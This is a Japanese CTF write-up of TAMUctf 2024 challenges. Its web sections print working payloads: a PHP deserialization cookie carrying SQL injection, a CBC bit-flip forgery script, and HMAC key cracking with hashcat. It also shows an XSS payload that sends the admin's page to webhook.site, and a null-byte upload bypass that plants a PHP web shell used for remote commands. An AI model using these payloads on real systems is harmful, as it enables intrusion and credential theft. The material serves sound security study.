st98 の日記帳 - コピー

なにか変なことが書かれていたり、よくわからない部分があったりすればコメントでご指摘ください。匿名でもコメント可能です🙏

TAMUctf 2024 writeup

4/6 - 4/8という日程で開催された。BunkyoWesternsの🦌ta_ga_naiとして参加して5位。特にコンテナエスケープ問が面白かったし勉強になった。BunkyoWesternsはあと1問で全完というところまでいったのだけれども、[Forensics] Volatileというエスパー要素のあるメモリフォレンジック問にやられた。

目的が読み取れない問題文でメモリフォレンジックを行う必要があるというだけでも、目当てがないままにプロセスにリストやら開かれているファイルのハンドルやら、得られる情報を片っ端から調べる必要がありつらいが、そこにエスパー要素まで加わってくるともうダメだ。メモリフォレンジック問だから真面目にやれば解けるのだとは考えず、やれることはやって何も見つからなかった時点でエスパー問のための思考に切り替える必要があったとは思う。


[Web 100] Cereal (101 solves)

Just made a new website. It's a work in progress, please don't judge...

(URL)

添付ファイル: cereal.zip

与えられたURLにアクセスすると、以下のようなログインフォームが表示される。表示されているcredsでログインすると "Welcome guest!" と言われる。それだけ。

Cookieに auth というキーで以下のような値が入っている。ログイン情報をここに保存しているらしい。

Tzo0OiJVc2VyIjo0OntzOjg6InVzZXJuYW1lIjtzOjU6Imd1ZXN0IjtzOjI6ImlkIjtpOjE7czoxMToiACoAcGFzc3dvcmQiO3M6MzI6IjVmNGRjYzNiNWFhNzY1ZDYxZDgzMjdkZWI4ODJjZjk5IjtzOjEwOiIAKgBwcm9maWxlIjtOO30%3D

ソースコードを読んでいく。authenticate.php にログイン周りの処理が詰まっている。なるほど、User という色々とユーザの情報が入っているクラスのインスタンスを serialize でシリアライズし、Base64エンコードして先程のCookieに保存しているようだ。

<?php// Creating cookie
if ($row['username'] === $username && $row['password'] === $password) {
    $cookie_name='auth';
    $cookie = new User();
    $cookie->username = $username;
    $cookie->id = (int)$row['id'];
    $cookie->setPassword(md5($row['password']));
    setcookie($cookie_name, base64_encode(serialize($cookie)), time() + (86400 * 30), "/");
    echo 'Welcome ' . $username . '! ' . '<br><br><a href="home.php"><i class="fas fa-user-circle"></i>Home</a>';
} else {

home.php を読むと、確かにこの auth というCookieについて、Base64デコードして unserialize で元のオブジェクトを復元し、以降それを参照している様子が確認できる。署名はないので、いくらでもその値を改ざんできる。好きなものを unserialize できるということで、これはInsecure Deserialization(PHPなのでPHP Object Injectionとも言う)だ。

<?php
require_once('config.php');

// Check if logged in
if (!isset($_COOKIE['auth']) || empty($_COOKIE['auth'])) {
    header('Location: logout.php');
    exit;
}

$cookie = unserialize(base64_decode($_COOKIE['auth']));

?>

さて、このInsecure Deserializationによってどんなオブジェクトが作れると嬉しいか。Dockerfile は配布されていないし、ソースコード中で flaggigem 等を検索しても何も見つからないので、フラグが表示される条件はよくわからない。とりあえずここから別の攻撃に発展させられないか、ソースコードを読みつつ考えていこう。

User の実装を見ていく。PHPでは unserialize でデシリアライズされた際にそのオブジェクトの __wakeup というメソッドが呼ばれるわけだけれども、User については validaterefresh を呼んでいることがわかる。

validate では usernamepassword の2つのプロパティを使いつつ、これらのcredsについて実在するユーザのものであるかを確認している。ちゃんとプレースホルダを使っているのでSQLiは発生していない。

続いて refresh が行われ、そのユーザのプロフィールを取得しているわけだけれども、今度は idusername というプロパティを参照している。なぜか今度はプレースホルダを使っておらず、明らかにSQLiがある。username の方は validate でも参照されるからいじれないけれども、id はいくらでもいじれる。こちらからSQLiができそうだ。

<?php
class User {
  public $username = '';
    public $id = -1;
    
    protected $password = '';
    protected $profile;

    public function setPassword($pass) {
        $this->password = $pass;
    }

    public function sendProfile() {
        return $this->profile;
    }

    public function refresh() {
        // Database connection
        $conn = new PDO('sqlite:../important.db');
        $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        $query = "select username, email, favorite_cereal, creation_date from users where `id` = '" . $this->id . "' AND `username` = '" . $this->username . "'";
        $stmt = $conn->prepare($query);
        $stmt->execute();
        $row = $stmt->fetch();

        $this->profile = $row;
    }

    public function validate() {
        // Database connection
        $conn = new PDO('sqlite:../important.db');
        $conn->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
        $query = "select * from users where `username` = :username";
        $stmt = $conn->prepare($query);
        $stmt->bindParam(':username', $this->username);
        $stmt->execute();
        $row = $stmt->fetch();

        if (md5($row['password']) !== $this->password) {
            header('Location: logout.php');
            exit;
        }
    }

    public function __wakeup() {
        $this->validate();
        $this->refresh();
        }
}

?>

次のようなPHPコードを用意して、Cookieにセットすると細工した User がデシリアライズされる文字列を作る。

<?php
class User {
    function __construct() {
        $this->username = 'guest';
        $this->password = '5f4dcc3b5aa765d61d8327deb882cf99';
        $this->id = "' union select group_concat(sql),2,3,4 from sqlite_master; -- ";
        $this->profile = 'poyo';
    }
}

echo base64_encode(serialize(new User)) . "\n";

?>

出力された文字列をCookieにセットして、プロフィールが表示されるページを閲覧する。次のように、SQLiによってデータベースに存在するテーブルの作成に使われたSQLを取り出すことができた。

今度はSQLiのペイロードを ' union select group_concat(username),group_concat(password),3,4 from users; -- に変更し、すべてのユーザのユーザ名とパスワードを抽出する。admin というユーザのパスワードがフラグだった。

[Web 100] Forgotten Password (141 solves)

Author: bit

We discovered that this blog owner's email is b8500763@gmail.com through reconaissance. We do not have access to the password of the account, how could we login regardless?

(URL)

添付ファイル: forgotten-password.zip

与えられたURLにアクセスすると、次のようなログインフォームが表示される。

パスワードを忘れてしまった際のパスワードリセット用フォームもある。メールアドレスを入力すればよいようだ。

ソースコードを見ていく。まず、次のようなディレクトリ構造からRuby on Rails製のアプリだとわかる。

$ tree -d -L 2 .
.
├── app
│   ├── assets
│   ├── channels
│   ├── controllers
│   ├── javascript
│   ├── mailers
│   ├── models
│   └── views
├── bin
├── config
│   ├── environments
│   ├── initializers
│   └── locales
├── db
│   └── migrate
├── lib
│   ├── assets
│   └── tasks
├── log
├── public
├── storage
├── test
│   ├── controllers
│   ├── fixtures
│   ├── helpers
│   ├── integration
│   ├── mailers
│   ├── models
│   └── system
├── tmp
│   ├── pids
│   └── storage
└── vendor
    └── javascript

34 directories

パスワードリセット周りのロジックを見ていこう。app/controllers/auth_controller.rb がそれだ。入力されたメールアドレスに対応するユーザがいれば、そのメールアドレスに対してパスワードリセットのメッセージを送っている。

それはいいのだけれども、その入力されたメールアドレスに対応するユーザがいるかどうかのチェックがおかしい。params[:email].include?(user.email) かどうか、つまり入力されたメールアドレス「に」ユーザのメールアドレス「が」含まれているかを見ている。"b8500763@gmail.com"@example.com のようなものも許してしまうわけだ。

class AuthController < ApplicationController


  def login
  end

  def forget
  end

  def recover
    user_found = false
    User.all.each { |user|
      if params[:email].include?(user.email)
        user_found = true
        break
      end
    }

    if user_found
      RecoveryMailer.recovery_email(params[:email]).deliver_now
      redirect_to forgot_password_path, notice: 'Password reset email sent'
    else
      redirect_to forgot_password_path, alert: 'You are not a registered user!'
    end

  end
end

"b8500763@gmail.com"@example.com (example.com は私の管理するドメイン名に置き換える)をパスワードリセットフォームに入力してみる。すると、25/tcpへの接続の試行があった。SMTPを喋ってみると、パスワードリセットのメールを受け取ることができた。このメールにフラグが含まれていた。

$ sudo nc -lvp 25
Listening on 0.0.0.0 25
Connection received on so254-9.mailgun.net 61175
220 … ESMTP
EHLO so254-9.mailgun.net
250 …
MAIL FROM:<bounce+433457.6673cb-"0b8500763@gmail.com"=…@fgpwmg.tamuctf.com>
250 sender <bounce+433457.6673cb-"0b8500763@gmail.com"=…@fgpwmg.tamuctf.com> ok
RCPT TO:<"0b8500763@gmail.com"@…>
250 recipient <"0b8500763@gmail.com"@…> ok
DATA
354 go ahead
…
Subject: Flag
From: ForgottenPassword@tamuctf.com
To: "0b8500763@gmail.com"@…
date: Sat, 06 Apr 2024 05:42:35 +0000
message-id: <6610e0cb16f28_2bd15000-4df@73e71080d4bd.mail>
Content-Transfer-Encoding: 7bit
Content-Type: text/html; charset=ascii

<!DOCTYPE html>
<html>
  <head>
    <meta http-equiv="Content-Type" content="text/html; charset=utf-8">
    <style>
      /* Email styles need to be inline */
    </style>
  </head>

  <body>
    <h1> Here is the flag! </h1>

<p>gigem{sptfy.com/Qhnv}</p>

  </body>
</html>
.
gigem{sptfy.com/Qhnv}

[Web 191] Flipped (89 solves)

So many challenges have plaintext cookies. Try breaking my encrypted cookies!

(URL)

添付ファイルはないが、与えられたURLにアクセスすると次のようなソースコードが表示された。ランダムに生成された鍵でAES-CBCを使ってユーザ情報を暗号化し、Cookieに格納している。あるいは、Cookieに格納されているバイト列を復号してユーザ情報を取り出している。

デフォルトでは {"admin": 0, "username": "guest"} というユーザ情報が格納されているけれども、フラグを得るためにはこの admin というプロパティを 1true に変更する必要がある。

from os import environ
from hashlib import md5
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
from Crypto.Util.Padding import pad, unpad
from flask import Flask, request, make_response, Response
from base64 import b64encode, b64decode

import sys
import json

FLAG = environ['FLAG']
PORT = int(environ['PORT'])

default_session = '{"admin": 0, "username": "guest"}'
key = get_random_bytes(AES.block_size)
app = Flask(__name__)


def encrypt(session):
    iv = get_random_bytes(AES.block_size)
    cipher = AES.new(key, AES.MODE_CBC, iv)
    return b64encode(iv + cipher.encrypt(pad(session.encode('utf-8'), AES.block_size)))


def decrypt(session):
    raw = b64decode(session)
    cipher = AES.new(key, AES.MODE_CBC, raw[:AES.block_size])
    try:
        return unpad(cipher.decrypt(raw[AES.block_size:]), AES.block_size).decode()
    except Exception:
        return None


@app.route('/')
def index():
    session = request.cookies.get('session')
    if session == None:
        res = Response(open(__file__).read(), mimetype='text/plain')
        res.set_cookie('session', encrypt(default_session).decode())
        return res
    elif (plain_session := decrypt(session)) == default_session:
        return Response(open(__file__).read(), mimetype='text/plain')
    else:
        if plain_session != None:
            try:
                if json.loads(plain_session)['admin'] == True:
                    return FLAG
                else:
                    return 'You are not an administrator'
            except Exception:
                return 'You are not an administrator'
        else:
            return 'You are not an administrator'

if __name__ == '__main__':
    app.run('0.0.0.0', PORT)

username というプロパティは一切参照されていない。{"admin": 0, "username": "guest"} に対応する暗号文は得られるわけだから、改ざんによって作るユーザ情報は {"admin": 1} でも構わない。最初のブロック以外は削除し、IVをいじって {"admin": 1}\x04\x04\x04\x04 へ復号されるような暗号文を作ろう。

import base64
import httpx
from ptrlib import *
with httpx.Client(base_url='https://…/') as client:
    client.get('/')

    session = client.cookies['session']
    encrypted = base64.b64decode(session)
    iv = encrypted[:16]
    new_session = base64.b64encode(xor(
        xor(iv, b'{"admin": 0, "us'), b'{"admin": 1}\x04\x04\x04\x04'
    ) + encrypted[16:32]).decode()
    client.cookies['session'] = new_session

    print(client.get('/').text)

これを実行するとフラグが得られた。

gigem{verify_your_cookies}

[Web 388] Cracked (53 solves)

Well, I guess my crypto wasn't the best... This time I am using an HMAC to do integrity checking on the session. Good luck getting the flag now!

Note: This challenge is intended to be solved after Flipped, but it is not required.

(URL)

添付ファイルはないが、与えられたURLにアクセスすると次のようなソースコードが表示された。今度はCookieの session というキーにユーザ情報が、sig というキーにそのHMAC(HMAC-SHA1)が格納されている。もちろんこの sigsession が正しいかどうかの検証に用いられる。HMACの比較には == でなく hmac.compare_digest を使っているのでタイミング攻撃はダメそう。全体的にセキュアなコードに見える。

from os import environ
from hashlib import sha1
from flask import Flask, request, make_response, Response
from base64 import b64encode, b64decode

import hmac
import json


KEY = environ['KEY']
FLAG = environ['FLAG']
PORT = int(environ['PORT'])

default_session = '{"admin": 0, "username": "guest"}'
app = Flask(__name__)


def sign(m):
    return b64encode(hmac.new(KEY.encode(), m.encode(), sha1).digest()).decode()


def verify(m, s):
    return hmac.compare_digest(b64decode(sign(m)), b64decode(s))


@app.route('/')
def index():
    session = request.cookies.get('session')
    sig = request.cookies.get('sig')
    if session == None or sig == None:
        res = Response(open(__file__).read(), mimetype='text/plain')
        res.set_cookie('session', b64encode(default_session.encode()).decode())
        res.set_cookie('sig', sign(default_session))
        return res
    elif (plain_session := b64decode(session).decode()) == default_session:
        return Response(open(__file__).read(), mimetype='text/plain')
    else:
        if plain_session != None and verify(plain_session, sig) == True:
            try:
                if json.loads(plain_session)['admin'] == True:
                    return FLAG
                else:
                    return 'You are not an administrator'
            except Exception:
                return 'You are not an administrator'
        else:
            return 'You are not an administrator'

if __name__ == '__main__':
    app.run('0.0.0.0', PORT)

今度は KEY がランダムに生成されたものではなく環境変数由来であることに注目する。また、問題名も "Cracked" だ。簡単にクラックできるような鍵なのではないか。hashcatで殴ろう。hashcat.exe -m 150 -a 0 hash.txt rockyou.txt で、6lmao9 が鍵であるとわかった(ΦωΦ)

…
Host memory required for this attack: 667 MB

Dictionary cache hit:
* Filename..: rockyou.txt
* Passwords.: 14344384
* Bytes.....: 139921497
* Keyspace..: 14344384

beefda82f9ed4590ea38e9c5a4616397e19f9c74:{"admin": 0, "username": "guest"}:6lmao9
…

判明した鍵を使って {"admin": 1} に対応する sig を計算する。Cookieにそれぞれセットするとフラグが得られた。

gigem{maybe_pick_a_better_password_next_time}

[Web 440] Imposter (40 solves)

I'm not a big fan of Discord's new ToS changes, so I'm making my own crappy version of Discord that isn't overly invasive.

(URL)

与えられたURLにアクセスすると、次のようにログインフォームが表示された。

適当にユーザ登録してログインすると、次のようにDiscordのパチモンが表示された。最初からチャットの対象として admin#0000 というユーザがリストに存在している。

<s>test</s> と入力すると次の通り斜線が表示され、まずHTML Injectionがあるとわかる。<img src=x onerror="navigator.sendBeacon('…')"> と入力するとadmin botからアクセスがあった。XSSもあるようだ。

さて、この問題ではXSSで何をすればよいだろうか。クライアント側のコードを読むと、次のように /flag というメッセージを入力すると特殊な挙動をするとわかる。

      $('#message-box').keypress(function(e) {
        var code = e.keyCode || e.which;
        if(code == 13) {
          message = $('#message-box').val();
          if(message != '') {
            dst = document.getElementById('active-dm').name;
            $('#message-box').val('');
            if(message != '/flag') {
              socket.emit('json', {'to': dst, 'message': message, 'time': moment().format('h:mm:ss A')});
            } else {
              socket.emit('flag');
            }
          }
        }
      });

やってみると、admin#0000 しか /flag でフラグを閲覧できないと怒られる。

ならば、XSSで無理やり admin#0000/flag と送らせよう。<img src=x onerror="setTimeout(()=>{socket.emit('flag');setTimeout(()=>{navigator.sendBeacon('https://webhook.site/…',document.body.innerHTML)},500);},500)"> というメッセージを送る。すると、次のように /flag へのレスポンスとしてフラグが返っている様子が確認できた。

<div class="container">
      <div id="chat" class="chat">
        <img src="x" onerror="setTimeout(()=>{socket.emit('flag');setTimeout(()=>{navigator.sendBeacon('https://webhook.site/…',document.body.innerHTML)},500);},500)">
      
        <div class="message">
            <span class="sender">System</span>
            <p>gigem{its_like_xss_but_with_extra_steps}</p>
        </div>
    </div>
gigem{its_like_xss_but_with_extra_steps}

[Web 454] Remote (35 solves)

I just released the newest version of my online image repository.

Patch notes:

  • Added ability to upload via URL

Note: The flag is located in /var/www/.

(URL)

添付ファイル: remote.zip

与えられたURLにアクセスすると、次のように画像のアップロードフォームが表示される。適当な画像をアップロードしてやると、ページの下部にアップロードした画像が表示された。この画像は /index.php?file=6613d5693f0f59.39827636_fiqjnolhkpgme.jpeg のようなURLになっている。

このように直接画像をアップロードできる機能のほか、URLを指定してのアップロードもできるようだ。URLに htm, php, js, css といったものが含まれておらず、またURLとして正しければ、その内容を取ってくる。そのURLに. で区切った右側を拡張子として、ランダムなファイル名で保存する。このパスは uploads/(セッションID)/(ランダムなファイル名) というものになっている。

<?php} else if(isset($_REQUEST['url'])) {
    if(!preg_match("/(htm)|(php)|(js)|(css)/", $_REQUEST['url'])) {
      $url = filter_var($_REQUEST['url'], FILTER_SANITIZE_URL);
      if(filter_var($url, FILTER_VALIDATE_URL)) {
        $img = file_get_contents($url); 
        if($img !== false) {
          $mime = substr($url, strrpos($url, '.') + 1);
          $file = random_filename(32, 'uploads/' . $sess, $mime);
          
          $f = fopen('uploads/' . $sess . '/' . $file, "wb");
          if($f !== false) {
            fwrite($f, $img);
            fclose($f);
            header('Location: /index.php?message=Image uploaded successfully&status=success');
…

filter_var($url, FILTER_VALIDATE_URL)file:///etc/passwd のようなものでも通してしまうので、このチェックはないものとして考えてよい。ただ、/(htm)|(php)|(js)|(css)/ というチェックはどうすれば通せるだろうか。よく見ると、この正規表現によるチェックの対象は $_REQUEST['url'] なのに対して、実際にコンテンツを取ってくるURLは FILTER_SANITIZE_URL を通したものになっている。順番が逆ではないか。

FILTER_SANITIZE_URL がどのようなものかPHPのドキュメントを参照すると「英字、数字および $-_.+!*'(),{}|\\^~[]`<>#%";/?:@&= 以外のすべての文字を取り除きます」とある。つまり、hoge.p(消される文字)hp のようにすると hoge.php になり、たとえ .php で終わっていてもダウンロードさせられるのではないか。

次のようにわざと php の間にnull文字を入れる。これで /aaa.php にHTTPリクエストが送られ、.php で終わる <?php passthru($_GET['piyopiyo']); という内容のファイルを保存させることができた。

$ curl -c cookie.txt https://…
...
$ curl -c cookie.txt https://…/ -d "url=http://…/aaa.p%00hp" | grep -3 image-display
...
      <div class="result" id="result">
      </div>
    </form>
    <div class=image-display>
<a href=/index.php?file=te8wq2jvqvevph4zn6w9kvg61qilecs1.php><div class=card><img class=thumbnail src=/index.php?file=te8wq2jvqvevph4zn6w9kvg61qilecs1.php></div></a>    </div>
  </div>
</div>

さて、/index.php?file=te8wq2jvqvevph4zn6w9kvg61qilecs1.php にアクセスしてもPHPコードは実行されない。どうすればRCEに持ち込めるだろうか。アップロード先は uploads とされていたけれども、これはドキュメントルート下にある。つまり、index.php を通さずとも直接アクセス可能である。セッションIDはCookieからわかるし、実際のファイル名も .image-display 中の imgsrc 属性からわかる。完全なパスも推測可能だ。

このとき、セッションIDは 7e1345af2b56cf47d90b075f7a044a41 だった。アップロード先の /uploads/7e1345af2b56cf47d90b075f7a044a41/te8wq2jvqvevph4zn6w9kvg61qilecs1.php に直接アクセスすると、このPHPコードが実行された。そのままフラグを探すと、見つかった。

$ curl "https://…/uploads/7e1345af2b56cf47d90b075f7a044a41/te8wq2jvqvevph4zn6w9kvg61qilecs1.php?piyopiyo=ls+/tmp|grep+-v+sess"
flag-de88df3ebf2f0c4bf871ddfb2e0fcce4.txt
$ curl "https://…/uploads/7e1345af2b56cf47d90b075f7a044a41/te8wq2jvqvevph4zn6w9kvg61qilecs1.php?piyopiyo=cat+/tmp/flag-de88df3ebf2f0c4bf871ddfb2e0fcce4.txt"
gigem{new_features_means_new_opportunities}
gigem{new_features_means_new_opportunities}

[Cryptography 464] Jumbled (30 solves)

The RSA Public and Private keys are provided. However, the private key seems to be jumbled in a block size of 10 hex characters. Can you get the flag?

添付ファイル: jumbled.zip

添付ファイルを展開すると public, private, flag.txt.enc の3つのファイルが出てきた。private はこんな感じ。

49 45 4e 42 47 2d 2d 2d 2d 2d 20 54 4b 41 45 49 50 56 20 52 0a … 0d 33 32 65 4e 61 46 6a 61 6b 53 44 6c 54 61 49 4f 52 74 77 37 37 79 6f 64 6a 2d 2d 2d 2d 2d 0d 3d 0a 51 3d 41 49 54 52 56 20 4e 50 45 44 2d 2d 2d 2d 2d 45 20 59 45 4b

hexデコードをすると次のようなテキストが現れた。なるほど、問題文の通りぐちゃぐちゃになっている。

IENBG----- TKAEIPV R
-M-
-Y-E-DBAIAvIAIEGk9hikBqNgAFSEAA0QwBigAgSYBwCKQBCIAAEogA4P0hviZFqN8uoOx
N
Hktux20rj7PgiY+pd5tVkPD9tf+nw1fGyPwkomYXOrQ1YyotznX2pH
T6Lk6U/CkE3Z4S7
oPfVCQcZDzJcmbJ61kpMplvvd6xqDTl/jtnchYikNDIYdLyBAqSy
z
…
X/ILK+iDhwhqhsqsb5ERMzT6FBz+Ag+yPtwyRPK8rYvnV76CCW
epV
32eNaFjakSDlTaIORtw77yodj-----
=
Q=AITRV NPED-----E YEK

元のテキストは -----BEGIN PRIVATE KEY----- から始まるはずだ。10文字ごとに区切り*1、はじめの2ブロックについて、各文字が本来何文字目にあるべきかを確認する。なるほど、ブロックごとにその置換の方法は変わらないようだ。

86957?????
IENBG-----

8695731402
 TKAEIPV R

雑に、テキストを元に戻すスクリプトを書く。

import binascii
import io
with open('jumbled/private') as f:
    s = binascii.unhexlify(f.read().replace(' ', ''))

table = (8, 6, 9, 5, 7, 3, 1, 4, 0, 2)

res = b''
i = io.BytesIO(s)
while True:
    t = i.read(10)
    if t == b'':
        break
    for j in table:
        res += bytes([t[j]])
print(res.decode())

with open('private', 'wb') as f:
    f.write(res)

この秘密鍵を使って flag.txt.enc を復号できた。

$ openssl pkeyutl -decrypt -inkey private -in jumbled/flag.txt.enc
gigem{jumbl3d_r54_pr1v473_k3y_z93kd74lx}
gigem{jumbl3d_r54_pr1v473_k3y_z93kd74lx}

[Forensics 486] SMP (20 solves)

We'd call it Bedwars but we suck at Bedwars too much.

添付ファイル: smp.zip

添付ファイルを展開すると smp.log というファイルが出てきた。これは以下のようなテキストファイルで、24.7MBとかなり大きい。ログに含まれる "Move Entity PosRot" のような特徴的に思えるクエリで検索すると、どうやらSniffCraftというツールでMinecraftのパケットをキャプチャしたものらしいとわかった。

[0:00:00:005] [Handshake] [(SC) --> S] Client Intention
[0:00:00:005] [Handshake] [C --> (SC)] Client Intention
[0:00:00:005] [Login] [(SC) --> S] Hello
[0:00:00:005] [Login] [C --> (SC)] Hello
[0:00:00:358] [Login] [(SC) --> S] Key
[0:00:00:358] [Login] [S --> (SC)] Hello
[0:00:00:574] [Login] [S --> C] Login Compression
[0:00:00:574] [Login] [S --> C] Game Profile
[0:00:00:575] [Login] [C --> S] Login Acknowledged
…

このままだと扱いづらいので、無理やりJSONに変換する。

import json

with open('smp/smp.log') as f:
    s = f.read()
s = '\n' + s[:s.index('Sorted by count')]
i = 0

result = []
while i != -1:
    j = s.find('\n[', i + 1)
    t = s[i:j]

    first_line, *data = t.strip().split('\n', 1)
    timestamp = first_line[1:].split(']', 1)[0]
    is_server_to_client = 'S --> C' in first_line
    command = first_line.rsplit('] ', 1)[1]

    result.append({
        'command': command,
        'timestamp': timestamp,
        'isServerToClient': is_server_to_client,
        'data': None if len(data) == 0 else json.loads(data[0])
    })

    i = j

with open('smp.json', 'w') as f:
    json.dump(result, f)

ログの最後に統計情報が載っている。全部で何十万とパケットがある中で、サーバからクライアントに対して送られている "Block Update" というパケットは866個しかなく、またブロックの何かしらの情報を更新しているという点が気になった。x, y, zの座標の情報もこのパケットに含まれているので、プロットしてみたい。

…
| Update Recipes                                 |      1 ( 0.00%) |    22651 ( 0.22%) | 
| Forget Level Chunk                             |   1451 ( 0.73%) |    15961 ( 0.16%) | 
| Entity Event                                   |   1432 ( 0.72%) |    11456 ( 0.11%) | 
| Block Update                                   |    866 ( 0.44%) |    11027 ( 0.11%) | 
| Update Tags (Configuration)                    |      1 ( 0.00%) |     8517 ( 0.08%) | 
| Update Advancements                            |      1 ( 0.00%) |     7834 ( 0.08%) | 
| Commands                                       |      1 ( 0.00%) |     7797 ( 0.08%) | 
…

プロットするスクリプトを用意した。

import json
import matplotlib.pyplot as plt
from mpl_toolkits.mplot3d import Axes3D

with open('smp.json', 'r') as f:
    packets = json.load(f)

fig = plt.figure()
ax = fig.add_subplot(projection='3d')

x, y, z = [], [], []
for packet in packets:
    if packet['command'] != 'Block Update':
        continue
    pos = packet['data']['pos']
    x.append(pos['x'])
    y.append(pos['y'])
    z.append(pos['z'])

ax.scatter3D(x, y, z)

plt.show()

実行してぐるぐる回すと、次のようにフラグが現れた。

gigem{w3_L0v3_pL1y1n_MC_SMP}

[Forensics 486] MCFS (20 solves)

The size of a Minecraft world is 60,000,000 * 60,000,000 * 384 blocks. If 256 different blocks are chosen to represent a byte of data, this means that a Minecraft world could store roughly 1.2 exabytes of data. Naturally, this must mean that Minecraft is the best storage system in terms of capacity, so I have decided to start storing my files in my world. Have fun recovering them!

Note: The file size is 8MB

添付ファイル: mcfs.zip

添付ファイルを展開すると、Minecraftのワールドデータが格納されている world というディレクトリと、mcfs.jar とが出てきた。jadx-guimcfs.jar をデコンパイルする。一番重要なのは次のメソッドだ。このコマンドに第1引数として与えられたファイルを読み出して、一定間隔でワールドへブロックを設置している。設置されるブロックの種類はファイルの内容に基づいている。

    public boolean onCommand(CommandSender sender, Command command, String label, String[] args) {
        if (args.length != 1) {
            return false;
        }
        ((Player) sender).getWorld().setGameRule(GameRule.DO_DAYLIGHT_CYCLE, false);
        ((Player) sender).getWorld().setGameRule(GameRule.RANDOM_TICK_SPEED, 0);
        Hashtable<Integer, Tag<Material>> tagBlacklist = new Hashtable<>();
        tagBlacklist.put(1, Tag.ENDERMAN_HOLDABLE);
        tagBlacklist.put(2, Tag.BAMBOO_PLANTABLE_ON);
        tagBlacklist.put(4, Tag.SNOW);
        Hashtable<Integer, Material> materialHashMap = new Hashtable<>();
        Iterator<Material> materials = Arrays.stream(Material.values()).iterator();
        int i = 0;
        while (materialHashMap.size() < 256 && materials.hasNext()) {
            Material material = materials.next();
            if (material.isSolid() && !material.hasGravity() && !material.isInteractable() && !material.equals(Material.FARMLAND) && !isTagged(tagBlacklist, material)) {
                materialHashMap.put(Integer.valueOf(i), material);
                i++;
            }
        }
        byte[] fileBytes = new byte[0];
        try {
            fileBytes = Files.readAllBytes(Paths.get(args[0], new String[0]));
        } catch (IOException e) {
            e.printStackTrace();
        }
        int byteIndex = 0;
        int row = 0;
        while (true) {
            for (int x = 0; x < 256; x++) {
                for (int y = 0; y < 256; y++) {
                    for (int z = 0; z < 16; z++) {
                        try {
                            if (byteIndex > fileBytes.length - 1) {
                                return true;
                            }
                            ((Player) sender).getWorld().getBlockAt(0 + x, CHUNKHEIGHT - y, 0 + (16 * row) + z).setType(materialHashMap.get(Integer.valueOf(Byte.toUnsignedInt(fileBytes[byteIndex]))));
                            byteIndex++;
                        } catch (Exception e2) {
                            e2.printStackTrace();
                            return true;
                        }
                    }
                }
            }
            row++;
        }
    }

添付されたワールドに設置されているブロックをもとに、書き込まれたファイルを復元するBukkitプラグインを作ろう。以下のようなコードができあがる。

package com.example.testplugin;

import org.bukkit.plugin.java.JavaPlugin;

import java.io.BufferedOutputStream;
import java.io.FileOutputStream;
import java.util.Arrays;
import java.util.Enumeration;
import java.util.List;
import java.util.Hashtable;
import java.util.Iterator;

import org.bukkit.Bukkit;
import org.bukkit.GameRule;
import org.bukkit.Material;
import org.bukkit.Server;
import org.bukkit.Tag;
import org.bukkit.World;

public final class Testplugin extends JavaPlugin {
    public static final int CHUNKSIZE = 16;
    public static final int CHUNKHEIGHT = 256;
    public static final int BLOCKLEN = 16;
    public static final int X = 0;
    public static final int Z = 0;

    @Override
    public void onEnable() {
        Server server = Bukkit.getServer();
        List<World> worlds = server.getWorlds();
        getLogger().info("worlds size " + worlds.size());
        World world = worlds.get(0);

        world.setGameRule(GameRule.DO_DAYLIGHT_CYCLE, false);
        world.setGameRule(GameRule.RANDOM_TICK_SPEED, 0);

        Hashtable<Integer, Tag<Material>> tagBlacklist = new Hashtable<>();
        tagBlacklist.put(1, Tag.ENDERMAN_HOLDABLE);
        tagBlacklist.put(2, Tag.BAMBOO_PLANTABLE_ON);
        tagBlacklist.put(4, Tag.SNOW);
        Hashtable<Material, Integer> materialHashMap = new Hashtable<>();
        Iterator<Material> materials = Arrays.stream(Material.values()).iterator();

        int i = 0;
        while (materialHashMap.size() < 256 && materials.hasNext()) {
            Material material = materials.next();
            if (material.isSolid() && !material.hasGravity() && !material.isInteractable() && !material.equals(Material.FARMLAND) && !isTagged(tagBlacklist, material)) {
                materialHashMap.put(material, Integer.valueOf(i));
                i++;
            }
        }

        int row = 0;

        BufferedOutputStream file;
        try {
            file = new BufferedOutputStream(new FileOutputStream("../test.bin"));
        } catch (Exception e2) {
            e2.printStackTrace();
            return;
        }

        getLogger().info("start");
        while (true) {
            for (int x = 0; x < 256; x++) {
                for (int y = 0; y < 256; y++) {
                    for (int z = 0; z < 16; z++) {
                        try {
                            Material type = world.getBlockAt(0 + x, CHUNKHEIGHT - y, 0 + (16 * row) + z).getType();
                            Integer byte_ = materialHashMap.getOrDefault(type, 0);
                            file.write(byte_ & 0xFF);
                        } catch (Exception e2) {
                            e2.printStackTrace();
                            return;
                        }
                    }
                }
            }

            row++;
            if (row > 100) {
                break;
            }
        }

        try {
            file.close();
        } catch (Exception e2) {
            e2.printStackTrace();
            return;
        }

        getLogger().info("done");
    }

    private boolean isTagged(Hashtable<Integer, Tag<Material>> blacklist, Material material) {
        Enumeration<Integer> e = blacklist.keys();
        while (e.hasMoreElements()) {
            int key = e.nextElement().intValue();
            if (blacklist.get(Integer.valueOf(key)).isTagged(material)) {
                return true;
            }
        }
        return false;
    }
}

出来上がったプラグインを java -Xms1G -Xmx4G -jar spigot-1.20.4.jar nogui -P ../mcfs/test-mod/testplugin/target/ のようにして読み込む。無事にファイルの抽出ができたようだ。

…
[06:01:45] [Server thread/INFO]: [testplugin] Enabling testplugin v1.0-SNAPSHOT
[06:01:45] [Server thread/INFO]: [testplugin] worlds size 3
[06:01:45] [Server thread/INFO]: [testplugin] start
[06:02:42] [Server thread/INFO]: [testplugin] done
…

どうやらext4のファイルシステムらしい。

$ file test.bin
test.bin: Linux rev 1.0 ext4 filesystem data, UUID=95d1e1d8-3450-4c20-a97f-c1ca7da5d292 (extents) (64bit) (large files) (huge files)

FTK Imagerで開き、これに含まれていた flag.tar.gz を取り出す。これにフラグが含まれていた。

gigem{r3curs1v3_f1l3_st0rag3}

[Misc 499] Scavenging (7 solves)

Look around, see what you can find!

Note: File uploads for this challenge are not necessary; you can complete it with the binaries provided.

openssl s_client -connect tamuctf.com:443 -servername scavenging

問題サーバに接続すると、次のようなシェルスクリプトが出力された後にシェルが立ち上がった。なるほど、この外側に出ればよいらしい。

#!/bin/sh

ls -alh /init
cat /init

mount -t ramfs -o size=32m ramfs /mnt
cp -ra /inner/* /mnt/

